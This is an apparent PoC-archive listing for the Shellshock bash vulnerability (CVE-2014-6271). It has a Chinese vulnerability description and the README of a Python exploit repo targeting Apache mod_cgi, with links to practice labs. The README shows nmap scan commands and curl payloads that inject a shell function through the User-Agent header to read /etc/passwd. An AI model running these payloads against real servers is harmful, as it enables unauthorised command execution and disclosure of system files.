关联漏洞
标题:
GNU Bash 远程代码执行漏洞
(CVE-2014-6271)
描述:GNU Bash是美国软件开发者布莱恩-福克斯(Brian J. Fox)为GNU计划而编写的一个Shell(命令语言解释器),它运行于类Unix操作系统中(Linux系统的默认Shell),并能够从标准输入设备或文件中读取、执行命令,同时也结合了一部分ksh和csh的特点。 GNU Bash 4.3及之前版本中存在安全漏洞,该漏洞源于程序没有正确处理环境变量值内的函数定义。远程攻击者可借助特制的环境变量利用该漏洞执行任意代码。以下产品和模块可能会被利用:OpenSSH sshd中的ForceComman
描述
Exploitation of "Shellshock" Vulnerability. Remote code execution in Apache with mod_cgi
介绍
<div aling="center">
<img src="https://github.com/Jsmoreira02/CVE-2014-6271/assets/103542430/ee3f79ee-67c6-4b72-ae82-263a5d5d5ffc">
<img src="https://img.shields.io/badge/Language%20-Python3-blue.svg" style="max-width: 100%;">
<img src="https://img.shields.io/badge/CVE%20-Shellshock-cyan.svg" style="max-width: 100%;">
<img src="https://img.shields.io/badge/Target OS%20-Linux-yellow.svg" style="max-width: 100%;">
<img src="https://img.shields.io/badge/Exploit%20-teste?style=flat-square" style="max-width: 100%;">
<img src="https://img.shields.io/badge/Type%20-Script-red.svg" style="max-width: 100%;">
</div>
# Shellshock Exploitation (CVE-2014-6271)
Shellshock is effectively a Remote Command Execution vulnerability in BASH. This script exploits the vulnerability in the web environment on apache or similar with mod_cgi enabled. The vulnerability lies in the manipulation of environment variables, which are dynamic named values that impact how processes run on a computer. Attackers can exploit this by attaching malicious code to environment variables, which is executed upon receiving the variable. This allows attackers to potentially compromise the system.
### Lab for vulnerability testing
- [PentesterLab](https://www.vulnhub.com/entry/pentester-lab-cve-2014-6271-shellshock,104/)
- [VulnHub](https://www.vulnhub.com/entry/sumo-1,480/)
- [TryHackMe](https://tryhackme.com/room/0day)

#
#### Find CGI-BIN pages:
```bash
$ nmap 192.168.x.x --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
$ nmap -sV -p- --script http-shellshock 192.168.x.x
$ nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x
```
#### Manual test:
```bash
sudo curl -H "User-Agent: () { :; }; /bin/cat /etc/passwd" <WEBSERVER-IP>
sudo curl -A "() { :;}; echo Content-Type: text/html; echo; /bin/cat /etc/passwd;" <WEBSERVER-IP>
```
# Warning:
> I am not responsible for any illegal use or damage caused by this tool. It was written for fun, not evil and is intended to raise awareness about hacking and cybersecurity
***Good Hacking :)***
文件快照
[4.0K] /data/pocs/7f551212d7a056b74bb2fa02e2c88462bddd5b55
├── [2.2K] README.md
└── [3.9K] shellshock_exploit.py
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。